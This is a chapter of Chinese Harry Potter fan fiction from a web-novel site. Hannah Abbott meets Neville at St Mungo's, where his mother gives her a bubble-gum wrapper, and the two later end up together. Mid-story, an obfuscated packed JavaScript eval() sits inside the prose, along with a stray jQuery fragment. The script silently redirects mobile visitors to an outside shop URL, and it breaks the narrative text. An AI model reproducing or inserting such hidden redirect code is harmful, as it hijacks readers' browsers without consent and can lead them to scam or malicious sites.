文趣网 > 都市小说 > [HP]女贞路六号 > 57.吹宝超级泡泡糖(汉娜纳威番外)[番外]
    汉娜·艾博发现,她这个暑假照镜子的时间比以前长了一点。

    也没有长很多——她还不至于为了挑一枚发卡错过早餐,只是梳完头以后常常会多站上一会儿,把刘海理得更整齐些,或者把麻花辫重新绑上一遍。穿裙子的时候,她偶尔也会试着把腰带往上挪半英寸,对着镜子看了又看,最后又觉得还是原来那样顺眼。

    有一次她盯着镜子里的自己看了半天,越看越觉得脸太圆,下巴也不够尖。她伸手捏了捏两边的脸颊肉,试着往里推一点,想看看自己瘦下来会不会好看些——可手一松,那张圆圆的脸还是原样留在镜子里——汉娜有点泄气,甚至开始怀疑是不是最近甜点吃得太多了。

    其实也没什么特别糟糕的——她的五官端正,头发柔顺,成绩也一直过得去,不至于在假期里收到教授措辞严厉的来信,也没有哪一门课尤其突出——可汉娜最近偏偏开始觉得,“还行”这两个字实在有些讨厌。

    说到底,大概还是因为塞德里克·迪戈里。

    和汉娜不同,塞德里克和“还行”两个字向来搭不上边——他长得英俊,魁地奇打得很好,成绩也出色,还是赫奇帕奇的级长。虽然在学校里很受欢迎,却从来不摆什么架子,脸上总是带着温和的笑,对谁都很有耐心。

    喜欢上塞德里克简直易如反掌。汉娜甚至一度很认真地认为,赫奇帕奇的姑娘有一个算一个,大概都曾经喜欢过塞德里克,只不过其中一半比较腼腆,不肯承认罢了。

    可喜欢上塞德里克以后,汉娜确实开始比从前更爱挑自己的毛病了——照镜子时会嫌自己不够漂亮,成绩单发下来时,也会忍不住想,要是哪一门能像丽贝卡那样回回拿高分就好了。连魁地奇都一样——她原本根本不怎么关心,现在却觉得多少懂一点似乎也有好处。

    有时候她想想又觉得自己很奇怪——塞德里克喜欢魁地奇,跟她懂不懂魁地奇有什么关系?她以前不懂,不也活得好好的吗?可真在礼堂里远远看见他,她又会觉得,要是自己再漂亮一点,或者再聪明一点,好像也不错。

    去年有一次,她抱着一摞草药学作业下楼,最上面的几张羊皮纸忽然滑了下来。塞德里克正好经过,顺手帮她捡起来,还替她把边角理齐了,才递回她怀里。

    “给你,汉娜。”

    汉娜当天晚上辗转反侧,一宿没睡着。

    她当然知道塞德里克是级长,记得同学院三年级学生的名字很正常。他们在赫奇帕奇长桌旁吃了那么久的饭,如果到了三年级他还不知道她叫什么,反倒有点奇怪——可第二天早晨,塞德里克从她旁边经过,又笑着说了一声“早,汉娜”,她还是一不留神把黄油抹到了盘子上。

    苏珊后来知道了,只给了她一个毫无建设性的提议。

    “那你就去找他说话呀。”

    汉娜显得苦恼极了:“说什么呢?”

    和不相干的人说上一句天气很好当然很容易,可轮到塞德里克,她就会觉得这句话傻得要命。问功课显得太刻意,聊魁地奇倒是自然,可问题在于她对魁地奇一窍不通。

    于是暑假刚开始,她便从家里的书架上翻出了《魁地奇溯源》。

    第一天还算顺利。到了第二天,她读到早期鬼飞球尺寸变化史,终于趴在书上睡着了——醒来以后,左边脸颊印着半页倒过来的油墨,艾博夫人进厨房时正好看见,笑得扶住了门框。

    “你什么时候这么喜欢魁地奇了?”

    汉娜拿湿毛巾擦着脸,神情严肃:“最近。”

    艾博夫人“哦”了一声,意味深长。

    汉娜闷闷地继续擦脸。她自己也知道,母亲大概猜得八九不离十——她根本没有忽然喜欢上魁地奇,也丝毫不关心一百年前的鬼飞球究竟有多大——她只是在想,如果以后塞德里克有一天真的和她聊起比赛,她至少能听懂他说的是什么,不至于从头到尾只会傻愣愣地点头。

    想到这里,她又觉得自己有点没出息。

    可第二天下午,她还是把《魁地奇溯源》重新翻开了。

    这天下午,那本书又摊在厨房桌上。旁边还有一只棕色饭盒——艾博先生早晨信誓旦旦地说绝不会忘记带午饭,结果饭盒现在仍安安稳稳摆在家里。

    汉娜看看饭盒,又看看书,忽然觉得成年人实在没资格批评她忘带手帕——于是她叹了口气,把书也塞进布袋,认命地给父亲送饭去了。

    圣芒戈今天比平时更热闹——世界杯快到了,伦敦到处都是外国巫师,也顺便给治疗师们带来不少来自异国他乡的疑难杂症——接待处旁边坐着一个满脸蓝羽毛的男巫,正坚称自己只喝了“一小口”罗马尼亚饮料;他妻子冷冷地说,如果半瓶也叫一小口,他出院以后最好滚回麻瓜小学重新学容量单位。另一边,一个小男孩每哭一声,耳朵里便冒出一个肥皂泡,飘到天花板以后“啪”地炸开,发出一声响亮的狗叫。

    汉娜从旁边经过时,一个泡泡正好飘到鼻子前。

    “汪!”

    她吓得差点撞上长椅。

    “抱歉,”男孩父亲疲惫地说,“他从早上起就这样了。”

    “没关系。”

    男孩抽噎一下,然后又一个泡泡冒了出来。

    汉娜连忙抱着饭盒上了楼。四楼比下面安静一些,不过圣芒戈所谓的“安静”和别处大概不大一样:走廊尽头有个男巫每隔半分钟便打一次嗝,每打一次,头顶就会冒出一小团紫色烟雾;两个治疗师推着一辆装满药瓶的小车匆匆过去,最上面那只瓶子一直在尖声抗议,说自己应该冷藏。汉娜贴着墙给他们让路,刚转过拐角,就看见一个很熟悉的圆脸男孩抱着花盆站在窗边。

    两个人都愣了一下。

    “纳威?”

    “汉——汉娜?”

    纳威显得比她还吃惊,胳膊猛地一收,怀里的花盆歪了一下。他慌忙把它扶正,几粒泥土从盆沿掉下来,落在擦得锃亮的地板上。

    汉娜下意识问:“你受伤了吗?”

    话一出口,她就知道问得很糟——纳威好端端地站在这里,脸上既没有长角,也没有冒出鳞片,和这层楼上的许多病人比起来,简直健康得有些不合群。

    “我是说,因为这里是圣芒戈。”她赶紧解释,“当然,来圣芒戈也不一定非得自己受伤。你也可能是来探望——”

    这显然没有好到哪里去。

    “哦。”汉娜干巴巴地说,“抱歉。”

    “没关系。”纳威低声说道,他的耳朵已经有点红了,却不像在学校里被斯内普点名时那么慌乱,“我没有受伤。”

    “那就好。”

    汉娜停了一下,又觉得这句话听着仿佛在庆祝另一个人受了伤,只好补充:“我是说——你没受伤很好。”

    纳威圆圆的脸上露出了羞赧的笑容:“我知道,你没有必要解释。”

    汉娜长舒一口气,很感激地把注意力转向他怀里的花盆。

    那是一株她没见过的植物,叶子圆而厚,表面覆着一层银白色的细绒,几根浅绿色的茎从叶片中央伸出来,顶端垂着尚未完全鼓开的花苞。花盆外沿还沾着新鲜泥土,显然刚换过不久。

    “它要开花了吗?”汉娜问。

    一提到植物,纳威的话一下子多了起来,紧绷的圆脸也终于放松下来:“快了,照理说应该早几天就该开花了,不过我上个月换盆的时候碰伤了两根须根。现在大概已经长好了,就是花期肯定会往后拖一点。”

    “你怎么知道伤到的是须根?”汉娜疑惑地问。

    “挖出来就看得见啊。”纳威说得很顺口,甚至把花盆转过来,指给汉娜看,“好在主根没事。要是主根伤到了,叶尖会先卷起来,颜色也会——”

    他说到这里觉得自己有些卖弄的嫌疑,忽然停下来,涨红了脸。

    “嗯……我对这方面还算有一点了解。”

    汉娜奇怪地看着他:“你当然了解了!你的草药学成绩棒极了,我敢说你是我们之中最懂得如何照料植物的。”

    纳威脸红得更厉害了,几乎怀疑自己听错了,连嘴唇都跟着发起抖来:“什么?”

    “你的草药学很好。”汉娜又说了一遍,“斯普劳特教授不是还经常给你加分吗?”

    纳威结结巴巴地说:“你……你还记得?”

    “我们一起上课,我当然记得。”汉娜说,“而且你给植物换盆的时候从来不会弄得满桌都是土——上次那盆尖牙天竺葵追着我的手咬了十分钟,而你的那盆从头到尾连你的手套都没碰到过——”

    “纳威。”

    一个老妇人的声音从旁边病房门口传来。

    汉娜早就听说过纳威的祖母——主要是通过那只博格特。可见到隆巴顿夫人时,第一眼注意到的还是她帽子上那只秃鹫。她穿着一身很讲究的绿色长袍,腰背挺得笔直,那只秃鹫随着她转头微微晃了晃,在圣芒戈雪白的走廊里显得格外醒目。

    “奶奶。”纳威说。

    隆巴顿夫人看了汉娜一眼,很快便认出了她。

    “你是艾博家的姑娘吧?”

    “是的,夫人。”

    “我认识你父亲。”隆巴顿夫人说,“有一回他给我解释魔咒后遗症,足足讲了一刻钟。我听完了致病原因、治疗方法和可能留下的症状,才终于知道病人其实没有生命危险——你们圣芒戈的治疗师似乎很喜欢把最重要的话留到最后。”

    汉娜没敢告诉她,艾博先生在家里也是这样——她母亲有一次不过问他烤箱是不是坏了,也听了将近十分钟关于加热咒失效的可能原因。

    “进来吧,纳威。”隆巴顿夫人转向孙子,“你母亲今天精神不错,你父亲也醒着。我刚才还告诉艾丽斯,你给她带了东西。”

    纳威抱着花盆跟了进去。

    汉娜的父亲仍然没有出现。她只好在门外那排硬邦邦的椅子上坐下来,把饭盒放在手边,又从包里拿出《魁地奇溯源》。书已经被她翻得有些卷角了,不过这并不能证明她喜欢它,只能证明她确实很努力。

    她勉强读了半页,病房里传来花盆轻轻挪动的声音。

    门没关严。汉娜抬起头,看见纳威正把那盆植物放到窗边。他先检查了一下叶子的情况,又伸手替它试了试阳光,随后又把花盆往里面挪了一些。

    窗边坐着一个很瘦的女人,头发花白,脸和纳威一样也是圆圆的。

    纳威在她面前蹲下来。

    “妈妈,你看,我把它带来了。”他说,“上次来的时候还没有花苞呢。现在已经有四个了。”

    女人低头望着那盆植物。

    “还要再过几天才会开。”纳威继续说道,“花是浅黄色的,很小。你可以摸摸叶子,不会扎手,上面的绒毛也不会掉,我已经试过了。”

    他说着把花盆又往前递了一点。

    女人慢慢伸出手,碰了碰叶片。

    纳威笑了。

    汉娜望着他,忽然觉得很奇怪——她几乎看不出学校里那个一被教授叫到名字就紧张得满脸通红、连羽毛笔都可能碰掉的纳威的影子了——他蹲在窗边,耐心地跟母亲讲花什么时候开、该放在哪里晒太阳,声音轻轻的,却一点也不结巴。

    汉娜重新低下头。

    她盯着“十四世纪以后鬼飞球的标准尺寸逐渐趋于统一”那一行看了半天,还是没能弄明白为什么这件事值得写得这么详细。

    过了一会儿,病房里响起隆巴顿夫人的声音。

    “又一张?艾丽斯,你今天已经给过他一张了。”

    汉娜忍不住又抬眼去看。

    纳威的母亲手里拿着一张揉得皱巴巴的糖纸,正朝他伸过去。

    纳威马上接了过来。

    “谢谢,妈妈。”他说,又低头把卷起来的边角一点点展平。

    隆巴顿夫人叹了口气:“纳威,你留着的那些恐怕已经够贴半间卧室了——再过两年,我恐怕就得给你腾一面墙出来。”

    “也没有那么多。”纳威小声说。

    “当然没有。”隆巴顿夫人说,“因为有些还在你的抽屉里。”

    纳威不吭声了,只把糖纸仔细收进口袋。

    没过多久,艾丽斯自己从病房里走了出来。她在门口停了一会儿,目光落到汉娜身上,随后慢慢走到她面前,摊开手掌。

    汉娜怔了一下。

    纳威跟在母亲后面,一下子窘迫起来。

    “你不用拿的——”他急急地说,有些语无伦次:“她有时候会把这个给别人。你要是不想要也没关系,她不会——我是说,她不会介意的。”

    汉娜已经伸手接了过来,郑重地说:“谢谢您。”

    艾丽斯看了她一会儿,嘴角微微动了动,这才转身回去。

    汉娜摊开那张糖纸。

    是草莓味的吹宝超级泡泡糖,红色的字被揉得有些发白,边角也皱得厉害。

    汉娜把那张糖纸慢慢展平,夹进书页里,又合上书压了压。纳威站在旁边看着她,神情有些意外。

    “你要留着吗?”

    “当然啦。”汉娜说,“是你妈妈送给我的呀。”

    “奶奶总叫我把那些扔掉。”纳威低声说道,“她说再这么攒几年,我大概可以拿它们把卧室重新糊一遍。”

    “那也不赖——”汉娜笑了,“省着买墙纸了。”

    纳威也笑了一下。可没过多久,他又安静下来,低头盯着地板看了一会儿,才有些迟疑地开口:“汉娜,回学校以后……今天的事,你能不能别告诉别人?”

    “你爸爸妈妈的事?”

    纳威点点头,脸慢慢红了起来。

    “我没有觉得他们丢人。”他说,“真的没有。我只是……不太喜欢跟学校里的人说这些——奶奶老以为我是不好意思让别人知道他们住在圣芒戈,可根本不是那么回事。我爸爸妈妈以前都是傲罗,很有名,也很厉害,我一直都知道。”

    他说到这里停顿了一下,两只手交握在一起:“可是别人知道以后,就会问我是不是也想当傲罗。还有人会说,我爸爸以前在学校里成绩一定很好。奶奶更是隔三差五就要提醒我,在我这个年纪的时候我爸爸已经多么优秀了。”

    汉娜想了一会儿,说:“可你又不是你爸爸。”

    纳威抬起头。

    “我是说,你爸爸像你这么大的时候有多么优秀,那是他的事。”汉娜说道,“你现在比不上他,也说明不了什么,你现在才十四岁,谁知道以后会怎么样?说不定再过几年,你就突然当上魔法部长了呢!”

    纳威吃惊地看着她:“我觉得这个可能性不大。”

    “我只是举个例子。”汉娜咧开嘴笑了起来。

    “奶奶大概已经替我规划好了,”纳威的声音小得几乎听不到了,“她巴不得我走上我爸爸妈妈的老路——可是偏偏我又这么……这么不争气。”

    汉娜没说话,走廊上安静了一会儿。远处有只盛药的小银杯自己蹦蹦跳跳地追着一个治疗师,一路把药汁洒出几滴;治疗师头也没回,只伸手把它捞进了口袋。

    “其实小时候家里一直以为我是哑炮——”纳威忽然说道,“因为他们一直没见我表现出魔法能力,急得不得了。阿尔吉叔公试过很多办法,有一次甚至把我从布莱克浦的码头推了下去。”

    汉娜张大了嘴,难以置信地说:“他把你推进了海里,只是为了逼你用魔法?”

    纳威悲哀地点了点头。

    “梅林啊,那你有没有被淹——”她说到一半,突然意识到这句话傻透了。

    “哦,当然。”她看着好端端坐在旁边的纳威,“你还在这儿,没有变成幽灵,梅林保佑。”

    纳威冲着她安抚地笑了笑:“他后来又试了别的办法。有一次把我倒吊在楼上的窗户外面,我姑婆正好端了盘蛋白酥过来,他伸手去拿——”

    汉娜的眼睛瞪得更大了:“等等,他把你吊在窗外,还能腾得出手吃蛋白酥?”

    纳威耸了耸肩:“显然不能,所以我掉下去了。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961293|212317||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    汉娜倒吸一口凉气。

    “然后我弹起来了,弹得很高,一直弹过花园——全家都高兴坏了,因为这下终于证明了我不是哑炮。后来阿尔吉叔公还给我买了莱福。”

    汉娜想了一会儿:“所以你从楼上掉了下来,最后只得到了一只蟾蜍——准确来说你是因为证明了自己的巫师身份才得到奖励,而不是因为掉下楼而得到补偿,说真的,这实在是……实在是太夸张了——抱歉,我不是在有意评价你的家事。”

    纳威摇了摇头示意没事,过了一会儿又低下头:“那时候全家都高兴坏了。可等我真的进了霍格沃茨,我才发现自己大概也只比哑炮强上那么一点——第一次上飞行课就摔断了手腕,魔药总是熬得一团糟,变形术也一直没什么长进……”纳威低下头,“所以我偶尔会想,他们当初是不是高兴得有点太早了。”

    “可是你的草药学很好呀。”汉娜不赞同地说,“斯普劳特教授那么喜欢你,你自己也喜欢那些植物——说实在的,能找到一件自己真正喜欢又擅长的事,已经很不错了。”

    “我这辈子恐怕也只有草药学能拿得出手了。”纳威悲哀地说。

    “有一门课特别出色,已经很不错了呀——”汉娜靠回椅背,盯着雪白的天花板,“我就不一样了——每门课都还过得去,可也没有哪一门特别好——真要说起来,好像什么都会一点,可又没有什么特别拿得出手的。”

    她想了一会儿,轻轻叹了口气。

    “就是……很普通。”

    纳威显得惊讶极了:“你怎么会这么想?你难道不知道自己现在有多有名吗?”

    汉娜重新看向他,疑惑地问:“什么?”

    “就是小天狼星那件事。”纳威说,“那阵子随便翻一翻《预言家日报》就能看见你们几个的照片。奶奶还特地留了好几份——大概是想着以后可以拿出来跟人吹嘘,她孙子认识报纸上的人。”

    他说到这里,自己先有点不好意思地笑了笑:“反正,我觉得现在英国魔法界认识你们几个的人,肯定比你自己想的多。”

    汉娜的脸一下子红到了耳根,嚷道:“那算什么有名!那些报道起码有一大半都是丽塔·斯基特自己胡咧咧出来的——她还说我们追查了十二年的线索呢,梅林啊,我当时才十三岁。”

    “奶奶也说这一句肯定是胡扯。”

    “谢天谢地。”汉娜板着脸说,“总算有一个懂算数的人了。”

    纳威又笑了起来,汉娜自己也忍不住笑了几声,可很快又摇了摇头。

    “而且那件事本来就不是我的功劳——最先发现斑斑不对劲的是贝卡,后来那些线索也是她一点点查出来的。她脑子转得快,我们几个只是帮了点小忙。”

    “你看,你也知道你们也帮了她的忙。”

    “那当然,我们是朋友嘛。”

    “那不就行了?”纳威皱起眉,显然还是不明白她为什么非要把自己撇得这么干净,“丽贝卡是很聪明,这个谁都知道。可你们也一直跟她在一起呀。她想到什么,你们就陪着一起查下去;后来事情闹到魔法部,你们也没有把她一个人丢在那里。要是没有你们,她一个人哪能顾得过来那么多事?”

    汉娜张了张嘴,没说话。

    纳威难得没有退缩,反而继续说道:“还有密室那次——那时候学校里都乱成什么样了,你还记得去找斯普劳特教授。别人都在害怕,而你至少知道该去找谁。”

    “可我只是去叫了教授,这根本不算什么。”

    “你看。”纳威有点着急了,“你又这么说。”

    汉娜怔了一下:“我怎么了?”

    “你总是在说‘只是’。”纳威说道,“只是帮丽贝卡个小忙,只是去找了教授——照你这么说,好像换了谁都会这么做似的——可当时真的去做了这些事的人只有你。”

    纳威说完,自己反倒有些不好意思,低头看着地板。

    汉娜看了他一会儿,忽然说道:“可你不也是这样吗?”

    纳威抬起头,“什么?”

    “你一年级的时候,不是因为魔法石的事拿过十分吗?”汉娜说,“最后格兰芬多还靠那十分赢了学院杯。”

    纳威结结巴巴地解释:“那,那不一样。我只是想拦住哈利他们,而且最后也没拦住。赫敏把我石化了。”

    汉娜忍不住笑了,“你听听,你现在说的话跟我刚才有什么区别?”

    纳威的脸憋得通红。

    “要不是你那十分,格兰芬多那年可拿不到学院杯——”汉娜说,“哈利他们当然很厉害,可你那十分也是你自己挣来的呀。”

    纳威看着她,半天没有说话,最后只是有些不好意思地笑了笑。

    就在这时,汉娜忽然瞥见父亲从走廊另一头匆匆走过去,抬头时只来得及看见他的背影——白袍下摆翻涌着,怀里还夹着一摞厚厚的病历,显然又把吃饭这件事忘得一干二净。

    汉娜低头看了一眼手边的饭盒,立刻站了起来:“糟了,我得走了——我就是来给我爸爸送午饭的,再晚一点,他准会告诉我留到晚上吃也一样。”

    纳威也跟着站起来:“哦,好。”

    汉娜把书收进包里,提起饭盒。走出几步以后,她又回过头来看向纳威:“你放心,今天的事我不会告诉别人,我发誓。”

    纳威愣了一下,随后轻轻点了点头,“谢谢你,汉娜。”

    ——谢谢你,替我保守秘密;谢谢你,让我相信……我其实没有那么糟。

    汉娜朝他挥了挥手,圆圆的脸上绽出一个甜美的笑容:“开学见。”

    纳威顿时感觉自己又被谁施了个石化咒,浑身僵硬得厉害——他异常艰难地抬起胳膊挥了挥,看着汉娜的金色麻花辫随着她的动作一晃一晃,消失在走廊拐角,才怅然若失地重新坐下。

    ……

    那一学年发生了很多事情。

    塞德里克和秋·张在一起了。

    汉娜为这件事难过了一阵。可她又想不出自己究竟凭什么、有什么立场难过——塞德里克从来没有答应过她什么,甚至根本不知道她喜欢过他——他大概不知道、也永远也不会知道,曾经有个女孩为了能跟他多说上几句话,抱着一本《魁地奇溯源》啃了整整一个假期,连鬼飞球究竟什么时候统一了尺寸都老老实实记了下来。

    想到这里,汉娜还是会觉得有点丢脸。不过伤心过后,她心里竟也悄悄松了一口气——她再也不用勉强自己去研究那些看上两页就想打哈欠的魁地奇规则,也不用因为塞德里克喜欢魁地奇,就逼着自己非得弄懂些什么。她可以重新拿起自己爱看的小说,吃自己爱吃的甜食,至于魁地奇——见梅林去吧!

    放假回家以后,汉娜把《魁地奇溯源》塞回了书架最上层。那里很快落了一层薄灰,她也渐渐不再想起它。

    ——自然也忘了,书页中间还夹着一张已经压得平平整整的糖纸。

    ……

    若干年后,破釜酒吧楼上,汉娜蹲在一只尘封已久的木箱前,把里面的东西一件件拿出来——大半都是学生时代留下的旧课本和笔记,羊皮纸边缘已经发黄,一本《标准咒语,三级》还不知被什么东西咬掉了一个角。

    纳威刚从霍格沃茨回来,袖口还沾着一点温室里的泥。他从箱底抽出一本落满灰尘的《魁地奇溯源》,吹了一口气,立刻被呛得咳了起来。他随手翻了两页,一张已经褪色的吹宝超级泡泡糖糖纸便从书页间滑出来,在半空中轻轻打了个转,晃晃悠悠地落到两人脚边。

    他们一起低下头,又抬头看向对方,愣了一会儿,忽然都笑了起来。

    纳威捧住汉娜圆圆的脸,在她脸颊上狠狠亲了一口。汉娜咯咯笑着往他怀里钻。楼下的说话声隔着木地板隐隐传上来,壁炉里的火噼啪作响,晚风吹得窗玻璃轻轻震动。

    就在这时,楼下有人扯着嗓子大喊:

    “老板娘——!”

    汉娜把脸埋在纳威肩头,笑得更厉害了。